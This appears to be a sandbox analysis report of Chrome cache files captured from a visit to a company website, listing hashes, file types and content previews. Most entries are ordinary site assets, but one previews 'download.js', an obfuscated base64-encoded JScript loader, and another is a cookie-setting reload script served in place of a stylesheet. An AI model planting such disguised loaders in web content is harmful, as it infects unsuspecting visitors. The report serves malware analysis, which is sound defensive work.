SSDEEP:	768:vJITX0FZdapFciPTmmo8B1bwokiz8xnIhW:JapC8Tmmo8B1bT9z8xnIhW
MD5:	BD1359606E15ABC9EAC2A76A6E88BBAD
SHA1:	0A669C22E45532AF77BE542FC1783C173E2720E9
SHA-256:	34FB00902D1913AD380C6F0F308397443FBE7CAF0C6D29D3E714C57625A00B52
SHA-512:	CD9B1037181009F5734A442148DA3DB97540FD0196A56238A6E49B0EF85CC32CE738A992FADD5957679FBB7A701F87F5CB787629A333C913CF0D7015DF87FF72
Malicious:	false
Reputation:	low
URL:	https://www.twbcompany.com/services/product-design/
Preview:	<!DOCTYPE html>.. [if IE 6]><html id="ie6" lang="en-US"><![endif]-->.. [if IE 7]><html id="ie7" lang="en-US"><![endif]-->.. [if IE 8]><html id="ie8" lang="en-US"><![endif]-->.. [if !(IE 6) \| !(IE 7) \| !(IE 8) ]> >..<html lang="ENH"> <![endif]-->..<head>..<meta charset="UTF-8">..<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=0" />....<link rel="icon" href="https://www.twbcompany.com/2016/wp-content/themes/twb_2016/assets/images/favicons/favicon.ico" type="image/x-icon" />..<link rel="shortcut icon" href="https://www.twbcompany.com/2016/wp-content/themes/twb_2016/assets/images/favicons/favicon.ico" type="image/x-icon" />..<link rel="apple-touch-icon" href="https://www.twbcompany.com/2016/wp-content/themes/twb_2016/assets/images/favicons/apple-touch-icon.png"/>..<meta name="msapplication-TileColor" content="#FFFFFF">..<meta name="msapplication-TileImage" content="https://www.twbcompany.com/2016/wp-content/themes/tw

Chrome Cache Entry: 233

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	713
Entropy (8bit):	5.131535959724354
Encrypted:	false
SSDEEP:	12:tV/KYf3EWiLZYRskgObzpwg5TNEYRnWOhXQOFW5CQqcdEo0rLPr5PucdDsHK/TuJ:tVLf0OskWg7RhtG/qcdduT5PTdDSK/Tm
MD5:	0CAEB39CE5E148E7474E09EFE53F3D8E
SHA1:	4FAA82BCE1FB6E1618F4C7F8A7714DE908266537
SHA-256:	A8A63CCD6F3570596661AB4407204E94C8F5A219024B5C6078934F5ECB908C71
SHA-512:	064B1B11539CE39753E0FBAD54F74D801A61360102201BA695CC2F19298802F03B2969939A2B5696223FA5631E411601160644DCDEC54B4B9E4C05386876913A
Malicious:	false
Reputation:	low
Preview:	<svg version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px". viewBox="0 0 325.2 125.3" enable-background="new 0 0 325.2 125.3" xml:space="preserve">..<g id="Layer_2">...<path fill="#003366" d="M0,0h110.5l16,42.8L143.3,0H177l16.2,42.8L209.8,0h84.8c16.8,0,30.5,13.7,30.5,30.5S311.5,61,294.7,61h-56.6l11.3-28.6h39.8v-6.2h-43.5L232,60.9L86.6,61c-5.8-14.6-10.2-26-10.2-26.4h-8.2V61H28V34.7H0V0z"/>...<path fill="#CCCCCC" d="M112.2,125.3c0,0-13.4-33.6-23.8-59.8l141.8,0.1l-23.6,59.8h-27.4l-19.8-48l-17.8,48H112.2z M68.2,65.6H28v59.8h40.2V65.6zM289.2,98.2h-65.8l-10.7,27.1h81.6c16.5,0,29.9-13.4,29.9-29.9s-13.4-29.9-29.9-29.9l-58,0l-10.1,25.6h63V98.2z"/>..</g>.</svg>

Chrome Cache Entry: 234

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1209x403, components 3
Category:	dropped
Size (bytes):	84111
Entropy (8bit):	7.975469035829131
Encrypted:	false
SSDEEP:	1536:olNuUT0qvfH8oGBmjNtbXNqMmd2EQaB8PcIdcsZul4J1BS:olNuUT0ofJGmzwMIM68zdcs24/BS
MD5:	EA9D45ABB3605D0F031E9B65F4659B3A
SHA1:	DDE79AC9F327730D883E3B4B3F9E88817268228D
SHA-256:	4AC1E97F3AE591E902857D766F88D773B69FBF58E6037CF1BB7291994A63DEDE
SHA-512:	E88F241D7BA08EA496C7C4A9815FD8B387DE8DF6A1F756F05DCE316739218D577993D6DCE4492FB136C4ACE29C2AB77F958AA6B376A496E4FC8DFCC71CC697FB
Malicious:	false
Reputation:	low
Preview:	......Exif..II*.................Ducky.......2......http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:6f6f0b6c-41a0-4ee0-9358-f7178b64928b" xmpMM:DocumentID="xmp.did:64ECC765594311E5BEEECBB76CCA2AC5" xmpMM:InstanceID="xmp.iid:64ECC764594311E5BEEECBB76CCA2AC5" xmp:CreatorTool="Adobe Photoshop CC 2015 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:4d6a9d53-b437-43a8-b58c-d29938e7dba7" stRef:documentID="xmp.did:6f6f0b6c-41a0-4ee0-9358-f7178b64928b"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>....Adobe.d...........................................

Chrome Cache Entry: 235

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	713
Entropy (8bit):	5.131535959724354
Encrypted:	false
SSDEEP:	12:tV/KYf3EWiLZYRskgObzpwg5TNEYRnWOhXQOFW5CQqcdEo0rLPr5PucdDsHK/TuJ:tVLf0OskWg7RhtG/qcdduT5PTdDSK/Tm
MD5:	0CAEB39CE5E148E7474E09EFE53F3D8E
SHA1:	4FAA82BCE1FB6E1618F4C7F8A7714DE908266537
SHA-256:	A8A63CCD6F3570596661AB4407204E94C8F5A219024B5C6078934F5ECB908C71
SHA-512:	064B1B11539CE39753E0FBAD54F74D801A61360102201BA695CC2F19298802F03B2969939A2B5696223FA5631E411601160644DCDEC54B4B9E4C05386876913A
Malicious:	false
Reputation:	low
URL:	https://www.twbcompany.com/2016/wp-content/themes/twb_2016/assets/images/logos/logo-twb-main.svg
Preview:	<svg version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px". viewBox="0 0 325.2 125.3" enable-background="new 0 0 325.2 125.3" xml:space="preserve">..<g id="Layer_2">...<path fill="#003366" d="M0,0h110.5l16,42.8L143.3,0H177l16.2,42.8L209.8,0h84.8c16.8,0,30.5,13.7,30.5,30.5S311.5,61,294.7,61h-56.6l11.3-28.6h39.8v-6.2h-43.5L232,60.9L86.6,61c-5.8-14.6-10.2-26-10.2-26.4h-8.2V61H28V34.7H0V0z"/>...<path fill="#CCCCCC" d="M112.2,125.3c0,0-13.4-33.6-23.8-59.8l141.8,0.1l-23.6,59.8h-27.4l-19.8-48l-17.8,48H112.2z M68.2,65.6H28v59.8h40.2V65.6zM289.2,98.2h-65.8l-10.7,27.1h81.6c16.5,0,29.9-13.4,29.9-29.9s-13.4-29.9-29.9-29.9l-58,0l-10.1,25.6h63V98.2z"/>..</g>.</svg>

Chrome Cache Entry: 236

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	751
Entropy (8bit):	5.031517683302082
Encrypted:	false
SSDEEP:	12:KYS84RtbfqS84fSvS84LKSQDbFwDRZgNUefpj3yditkvsXP0DRRFVorQZ2AlvsTn:KYt4Lfqt4f2t4Peh0RZgNUe93MitkvsL
MD5:	CAAADA24C36ED88A759BF4289B0C6BA8
SHA1:	53276B225E3AEE862666004696658819E0282895
SHA-256:	5A1A3A3F0EF52A304CDE50940EE607A2EBB008B76FA4CF49721B6E5CC07C350A
SHA-512:	2930CE811C96542497D048EB78ED9B13BCBDCD45408783736803A74CC813CFD7BF34D95F5138F257445D31B52D8C2062D87644217ECA143BFE7310530E8BEF0A
Malicious:	false
Reputation:	low
URL:	https://www.twbcompany.com/2016/wp-content/themes/twb_2016/js/skip-link-focus-fix.js?ver=20130115
Preview:	( function() {..var is_webkit = navigator.userAgent.toLowerCase().indexOf( 'webkit' ) > -1,.. is_opera = navigator.userAgent.toLowerCase().indexOf( 'opera' ) > -1,.. is_ie = navigator.userAgent.toLowerCase().indexOf( 'msie' ) > -1;...if ( ( is_webkit \|\| is_opera \|\| is_ie ) && document.getElementById && window.addEventListener ) {...window.addEventListener( 'hashchange', function() {....var id = location.hash.substring( 1 ),.....element;.....if ( ! ( /^[A-z0-9_-]+$/.test( id ) ) ) {.....return;....}.....element = document.getElementById( id );.....if ( element ) {.....if ( ! ( /^(?:a\|select\|input\|button\|textarea)$/i.test( element.tagName ) ) ) {......element.tabIndex = -1;.....}......element.focus();....}...}, false );..}.})();.

Chrome Cache Entry: 237

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 200 x 174, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	13737
Entropy (8bit):	7.960474460615749
Encrypted:	false
SSDEEP:	192:whO7uLxFI5O2Sua8BTsEvuZyudkgCMELGumVMUlnSgiKc7JSRZuQTlqGuDEA2E50:WEl8T39X4Ku9I90tsTTPuLAkXkjiw
MD5:	F94512C8ED5C131E111BF5BA7D11C004
SHA1:	A0B4752C55D3730A131BB606F2977F92512DD7E9
SHA-256:	AD9288DE27871EF3089A9244459A1CE35AB7F333097B4D70219A2B5F9C57EB7D
SHA-512:	D1F68B9A403A7A9B8B3A6E4E5842F76B080F7ABBFA207B6530548C5699C90EEC64D4DC677AC462553AA3A267FE2D3F023E869428079A5A7F816AFF1B44810970
Malicious:	false
Reputation:	low
URL:	https://www.twbcompany.com/2016/wp-content/themes/twb_2016/assets/images/logos/q1.png
Preview:	.PNG........IHDR.............s.B.....tEXtSoftware.Adobe ImageReadyq.e<....iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="xmp.did:A86DB729439411E5B4CD90028FE3513D" xmpMM:InstanceID="xmp.iid:A86DB728439411E5B4CD90028FE3513D" xmp:CreatorTool="Adobe Photoshop CC 2015 Macintosh"> <xmpMM:DerivedFrom stRef:instanceID="EE4B07EDD9EDFC539B2469A8C4863032" stRef:documentID="EE4B07EDD9EDFC539B2469A8C4863032"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>9.....2)IDATx..]..\U.?...fS6..R.!...E"(H...D........*".E..b.P..A.&....Q .C.BB.i.B...y.;.....yo...wv...N.3...~.=.r........SO....

Chrome Cache Entry: 238

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (7430), with no line terminators
Category:	dropped
Size (bytes):	7430
Entropy (8bit):	5.824699600128243
Encrypted:	false
SSDEEP:	192:R/QgO1WUWq4ZfpTNmtcTzvktd/PyA3xMm93HkvULHcwYEWBh0nt:Rg1OzNmuUtAs93HAUX9yh2
MD5:	7C367FC5D59C449E3A167806E1634F2C
SHA1:	CE3ECFAD5D7C69974330874A2F3E98ECA97A38F8
SHA-256:	C94B02E56788A48289751AD7BD7DD6301ABE2D0EBD65B66FFDB07003A1131435
SHA-512:	B543C3A603BDA43392E640D3810CE875AAD18F39FB772AF9E12B610475FA5E1DC450476D0CD419B16BA9B5BD041CAF242F014C83011FD70013BE06F1257E9C5A
Malicious:	false
Reputation:	low
Preview:	var filename="download.js";var filePlain=window.atob('LypAY2Nfb24KKGZ1bmN0aW9uKF8weDFiYjkxNCxfMHg1M2U3OTgpe3ZhciBhMF8weDRiNWFlYj17XzB4NWY1MTg3OjB4MjM0LF8weDIxOTMzZjoweDIyMSxfMHgzYWMyNDU6MHgyMjIsXzB4MWFmOTM5OjB4MjBiLF8weDRiZWMyZDoweDIwMSxfMHg1NWFhMjA6MHgyMDQsXzB4MWUzMmFkOjB4MWZkLF8weDU5YmVkYjoweDIxMSxfMHg0MjEzMTQ6MHgyMGMsXzB4NWVhMTEzOjB4MjI2LF8weDJlNzFkNDoweDIyOSxfMHgxZWQwMjc6MHgyMTAsXzB4MWNjZTM5OjB4MjM2LF8weDU3NmQ5YjoweDIzMCxfMHg1OWI0Njc6MHgyMDcsXzB4NWI4YjJhOjB4MjBmLF8weGFhMTNkNzoweDIyYyxfMHg3NGZmNzA6MHgyMzJ9LGEwXzB4M2ZlM2RhPXtfMHg1ZTZkNzM6MHgzYTl9O2Z1bmN0aW9uIF8weDE2Yzg0NihfMHgyYTJkNzEsXzB4MTlkZTZmKXtyZXR1cm4gYTBfMHgxMDRhKF8weDE5ZGU2Zi0gLWEwXzB4M2ZlM2RhLl8weDVlNmQ3MyxfMHgyYTJkNzEpO312YXIgXzB4NWEyY2RlPV8weDFiYjkxNCgpO3doaWxlKCEhW10pe3RyeXt2YXIgXzB4NTlkN2MxPS1wYXJzZUludChfMHgxNmM4NDYoLWEwXzB4NGI1YWViLl8weDVmNTE4NywtYTBfMHg0YjVhZWIuXzB4MjE5MzNmKSkvMHgxKy1wYXJzZUludChfMHgxNmM4NDYoLWEwXzB4NGI1YWViLl8weDNhYzI0NSwtYTBfMHg0YjVhZWIuXzB4MWFmOTM5KSkvMHgyK3BhcnNlSW50KF8weDE2Yzg0NigtYTBfMHg0YjVhZW

Chrome Cache Entry: 239

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (19040), with no line terminators
Category:	downloaded
Size (bytes):	21886
Entropy (8bit):	6.065358786332392
Encrypted:	false
SSDEEP:	384:Fmnq/xfICwb8KjPB4vD8Y9ulK5PT+QS05cthDyA/887BUBLJCScBwwqHAyp6/Eyy:PxfIuK9KDNs0r+QS0+yA/88m1QScJqvB
MD5:	F7C3B9AC13EEAA71A7B559A290E285CD
SHA1:	3CAA7B016108941CE110762AE85BD10E08EC9444
SHA-256:	4757F7F4E9C0B9187F72FF21600D009E79B7776ADF8AB2E2122F760EB769FE0A
SHA-512:	57D3B08BABFD19DE4E8D88DEE136E8B0130AE2CF455DA0CC0439E1CCCB07E40D4E9E5CBD9662149617733EF0F9136E48428C80F6E86C84ECCD3B690143703A13
Malicious:	false
Reputation:	low
URL:	https://browser-update.org/update.show.min.js
Preview:	"use strict";var $buo_show=function(){var op=window._buorgres;var bb=$bu_getBrowser();var burl=op.burl\|\|("http"+(/MSIE/i.test(navigator.userAgent)?"":"s")+"://browser-update.org/");if(!op.url)op.url=burl+((op.l&&(op.l+"/"))\|\|"")+"update-browser.html"+(op.test?"?force_outdated=true":"")+"#"+op.jsv+":"+op.pageurl;op.url_permanent_hide=op.url_permanent_hide\|\|(burl+"block-ignore-browser-update-warning.html");function busprintf(){var args=arguments;var data=args[0];for(var k=1;k<args.length;++k)data=data.replace(/%s/,args[k]);return data;}var t={},ta;t.en={'msg':'Your web browser ({brow_name}) is out of date.','msgmore':'Update your browser for more security, speed and the best experience on this site.','bupdate':'Update browser','bignore':'Ignore','remind':'You will be reminded in {days} days.','bnever':'Never show again','insecure':'Your web browser ({brow_name}) has a serious security vulnerability!'};t.ar={'msg':'..... ........ ..... .. ({brow_name}) ... .....

Chrome Cache Entry: 240

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32031)
Category:	dropped
Size (bytes):	48520
Entropy (8bit):	5.183615021095896
Encrypted:	false
SSDEEP:	768:hdrybCLSG+z0BFKEyby+HvOWvevgOkYtUdEvWBzigMPpIFxIF0uJKW3D+5+gY073:rryKSAybbO4IUdEvPgqIFxIF0UN3CcgB
MD5:	D954E39EF706357FC31FF7D7EED46BD3
SHA1:	0159043ED6809563F86CF7958F810A3F0DA40940
SHA-256:	EF8D6BBC7FF486B90D77742A15B9B69DCA1E8244C56CCB1F660742614E1BD5E4
SHA-512:	C161C8223FC8B7A25F64559BF6D24898B92B4E7EC1B1FB765BACE25FE2C1B4992F3436D4608D3624EDB8ED51E5CF77A2AC4817CB8799953B5D07557162B919A6
Malicious:	false
Reputation:	low
Preview:	function navigation(){$("#mobile-nav-container").on("click touchstart","a.mobile-nav-trigger",function(a){a.stopPropagation(),a.preventDefault(),$("body").toggleClass("menu-open")}),$("#primary-nav li").on("click touchstart",".next-menu",function(a){a.stopPropagation(),a.preventDefault(),$(this).toggleClass("flip").next(".dropdown").toggleClass("open")})}function subNavigation(){$(".dropdown-button").on("click touchstart",function(a){a.stopPropagation(),a.preventDefault();var b,c;b=$(this),c=b.siblings(".dropdown-menu"),c.toggleClass("show-menu")})}function accordionTabs(){$(".accordion-tabs").each(function(a){$(this).children("li").first().children("a").addClass("is-active").next().addClass("is-open").show()}),$(".accordion-tabs").on("click","li > a.tab-link",function(a){if($(this).hasClass("is-active"))a.preventDefault();else{a.preventDefault();var b=$(this).closest(".accordion-tabs");b.find(".is-open").removeClass("is-open").hide(),$(this).next().toggleClass("is-open").toggle(),b.fi

Chrome Cache Entry: 241

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	83
Entropy (8bit):	4.702629793389398
Encrypted:	false
SSDEEP:	3:gkJRyRUZLW6XS+FXIR9dBlLVOb:PpW6Y75LYb
MD5:	26267CD8990F15D3BBEA71684A6D5995
SHA1:	AC3B38CF3FE0E112BB6AEB7E05226B7133575D93
SHA-256:	769E8AB745A0FE4BF811036E75A8630E38C50A18CB3E24D539CE4A0722C7C85E
SHA-512:	FE52418AE102F6621B45B8663241AB29428D7DED0BF9317B98331F5F5F1F07F0E400F1353F46A51C5724F1E2078791C1E97C4266C11CB1DAA4C388C21B58D6CC
Malicious:	false
Reputation:	low
URL:	https://www.twbcompany.com/2016/wp-content/plugins/contact-form-7/includes/css/styles.css?ver=5.8.7
Preview:	<script>document.cookie = "humans_21909=1"; document.location.reload(true)</script>

Chrome Cache Entry: 242

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 689x300, components 3
Category:	downloaded
Size (bytes):	41140
Entropy (8bit):	7.977611376221006
Encrypted:	false
SSDEEP:	768:450wtVv4EOQLuu3nzW9lTYglktebTUyZh0jpfLXvMAh5Dsw+L:45Dv4wLQdYmkOwW0VLXBzDRW
MD5:	64741749166E1BC7145CE096026C13EE
SHA1:	2D3509D24E2ACB0F3532FA927870672592BA6390
SHA-256:	D6DCE4589EEEDB2517AB4B02F7C9946E10F280BE0FA4846BE813CA24E17CDBC5
SHA-512:	BB0C3FFA4201A35B4A95D85D88911B60E92A716B49D49A5DCC57AB060E5508827BFADE9BD55C3B95144DD965B71317BAC676EC22AA58708E8AE3D38454350023
Malicious:	false
Reputation:	low
URL:	https://www.twbcompany.com/2016/wp-content/uploads/2015/08/twb-thumb.jpg
Preview:	......Exif..II*.................Ducky.......2......http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:6e70b245-073f-4138-bd2f-40bd88a30a98" xmpMM:DocumentID="xmp.did:5219833B58CB11E5BEEECBB76CCA2AC5" xmpMM:InstanceID="xmp.iid:5219833A58CB11E5BEEECBB76CCA2AC5" xmp:CreatorTool="Adobe Photoshop CC 2015 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:6e70b245-073f-4138-bd2f-40bd88a30a98" stRef:documentID="xmp.did:6e70b245-073f-4138-bd2f-40bd88a30a98"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>....Adobe.d...........................................

Chrome Cache Entry: 243

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 232 x 240, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	34669
Entropy (8bit):	7.978029184557293
Encrypted:	false
SSDEEP:	768:Ptso4Ube0CPNZkeaKFC60tea+jTR6EtglQJ6hLjIkyx1bMChN2TFU+v:Oo4Ube0C1ZkeaKFCVsLjTR6WwQ+LkkGm
MD5:	6CAABC9B810F4E98D8F81BF2317FFD3A
SHA1:	6EDD15DD52286FA8D91475816689205DE7315963
SHA-256:	A7D245CBF1735ADF44B964341C0A16546B8025E2054B22A35182C5005703D9BF
SHA-512:	D9ED350D292C13F8905FED5FBC505BE2137D66B4B80F30A2330F21818AF817AAD6B3F8A23B9E51A8029ACDC51FDCEB50E89124DF5175BF8556B113E5C1F0495C
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR..............,(.....tEXtSoftware.Adobe ImageReadyq.e<....iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="xmp.did:2B93DE74439411E5B4CD90028FE3513D" xmpMM:InstanceID="xmp.iid:2B93DE73439411E5B4CD90028FE3513D" xmp:CreatorTool="Adobe Photoshop CC 2015 Macintosh"> <xmpMM:DerivedFrom stRef:instanceID="C8A7FCDEFCBA9BC49DA56EFABE3904E2" stRef:documentID="C8A7FCDEFCBA9BC49DA56EFABE3904E2"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>.......IDATx..}..\e...[KW*M.4!1...ADDQ.q.u.w.e.]pW...Pqd..QGQ.}.}.w..Q.QQAt`.c.!M.i:.Ju...........W.tu%..}..twu.{..,.y..9.sep.

Chrome Cache Entry: 244

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1024x680, components 3
Category:	dropped
Size (bytes):	29948
Entropy (8bit):	7.5197329175197485
Encrypted:	false
SSDEEP:	768:7OfiRUz++9+atEAvFEGPXTTrnJjV9fB1ffX1YFyai:SfiRJc7Pfth9fB13lYFyai
MD5:	B590AFCD50FDA4B959625D920E7C8AF3
SHA1:	55842DB744332A7D0AF8327D23A3C91FEE4A4EB9
SHA-256:	810CBBED7B6CE07102938F0B2F605CEB866200D34A2977DB77FF858DC1EA6B48
SHA-512:	BE83EB4E34479FCC487E796DA6BB8B483F71E33F26A71348E2A720A80E41374F5CEB42BF42866350FEC796C57C9F9565D483DDE5AE29A70A0397EE2E94ED7AF4
Malicious:	false
Reputation:	low
Preview:	......Exif..II*.................Ducky.............,http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c140 79.160451, 2017/05/06-01:08:21 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="xmp.did:4B77D04A093011E88A78BDB37FCD2333" xmpMM:InstanceID="xmp.iid:4B77D049093011E88A78BDB37FCD2333" xmp:CreatorTool="Adobe Photoshop CC (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:75B6F5F9085411E8B5BFFEDA2E8BCC30" stRef:documentID="xmp.did:75B6F5FA085411E8B5BFFEDA2E8BCC30"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>....Adobe.d...............................................#%'%#.//33//@@@@@@@@@@@@@@@......................&.....&0#....#0+.'''.+550055@@?@

Chrome Cache Entry: 245

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	751
Entropy (8bit):	5.031517683302082
Encrypted:	false
SSDEEP:	12:KYS84RtbfqS84fSvS84LKSQDbFwDRZgNUefpj3yditkvsXP0DRRFVorQZ2AlvsTn:KYt4Lfqt4f2t4Peh0RZgNUe93MitkvsL
MD5:	CAAADA24C36ED88A759BF4289B0C6BA8
SHA1:	53276B225E3AEE862666004696658819E0282895
SHA-256:	5A1A3A3F0EF52A304CDE50940EE607A2EBB008B76FA4CF49721B6E5CC07C350A
SHA-512:	2930CE811C96542497D048EB78ED9B13BCBDCD45408783736803A74CC813CFD7BF34D95F5138F257445D31B52D8C2062D87644217ECA143BFE7310530E8BEF0A
Malicious:	false
Reputation:	low
Preview:	( function() {..var is_webkit = navigator.userAgent.toLowerCase().indexOf( 'webkit' ) > -1,.. is_opera = navigator.userAgent.toLowerCase().indexOf( 'opera' ) > -1,.. is_ie = navigator.userAgent.toLowerCase().indexOf( 'msie' ) > -1;...if ( ( is_webkit \|\| is_opera \|\| is_ie ) && document.getElementById && window.addEventListener ) {...window.addEventListener( 'hashchange', function() {....var id = location.hash.substring( 1 ),.....element;.....if ( ! ( /^[A-z0-9_-]+$/.test( id ) ) ) {.....return;....}.....element = document.getElementById( id );.....if ( element ) {.....if ( ! ( /^(?:a\|select\|input\|button\|textarea)$/i.test( element.tagName ) ) ) {......element.tabIndex = -1;.....}......element.focus();....}...}, false );..}.})();.

Chrome Cache Entry: 246

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1242 x 812, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	946004
Entropy (8bit):	7.991771177802332
Encrypted:	true
SSDEEP:	24576:mHhUMle42+NqWh2HoO31JGv7zKWzlhP56cuvfI:YTle4Ff2HoIC7mWzlz0Q
MD5:	C5AE760D04571E1C541EDB7D447EACCE
SHA1:	72C9CABD1CD63ABE503E04F4E075EA6DE7FC3DDB
SHA-256:	89FC64814E20C55C3A966E1D5DFA87FABA12F530F62143216FB566B9A49FA4CA
SHA-512:	10173B91551421BCBD84B14961FA3591F9149970EC59B7A570B9B4EEE2E5A0E239082A2FECEEB4C65820B26FE9BF674DBFD3ABA124C1A5E8B0A693991717376C
Malicious:	false
Reputation:	low
URL:	https://www.twbcompany.com/2016/wp-content/uploads/2021/03/typical-cab-structural.png
Preview:	.PNG........IHDR.......,............liCCPICC Profile..H..W.XS...[RIh..........B. ..6B.H(1&..;....E.+...V@..E.......bC.MH@.}.{....?g.....{.....J.Qm..$.......&.. @.... ..r);>>.@...]...P.:+..9._EW ...@.@.%... >..../...@T.&.J.x..z2. .+.8G..+q....IN.@\|..2.....y..E.....bW.@,.@k..\|.O..2.a......b{h/....XY.q...?k...........K.yS....o).W.....&.E&.5..7!Z.i.wI.b....X..;.(U..LQ.&\|9....@...FCl.q.$?6F.....s!....,..&Cl..\|.<,Im.Q6!Q....q.j.9......E^.[..F$..1.bQr..T......kB.".K.V.(.qb.ld.De...'.%.!~.([..../+...m....j..P.....v.....].J.).<B....\...0U..s.$%I..AZ...Z.S...j{.R....[B.)/JR..S...T......dU.xq./^.........L..#.L..@.......f....@...g.f`EZ...^.@1.."!......."..2.U].Av.lQ..<........oE...T..j........C9.....o.6..5...L..Kb.1..I.':..x ...k0..8.....=.)....p..N.=^\".!....k..}-p[......2...1p.=..6..={A-G.........wOCmGq...!.`...+5.5..Y....>.X........?....=.GKl>..;....c.....a.X.vD..w...5.-.?.<.#..?....r.Z.N...B..B...L.N..sD.L6\|;..\..e........F...6......\|......c}}

Chrome Cache Entry: 247

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	4273
Entropy (8bit):	5.099667421238298
Encrypted:	false
SSDEEP:	48:n6KRam0AdlPewlleewljeewlSQiB9DUMOK+D1S/bqwR9zewl6dLOoewl+g6Nfdev:6eam0YCJUDf4XNNT78
MD5:	B4B6B4B872A0E8BB64352593893D0759
SHA1:	B0F296909805FB0B3B7269DA41C857032D8E3EA7
SHA-256:	7F01287A3EDA38F82FDFD509C6BCE17C7258913B1CEE9BDA415FD83160099714
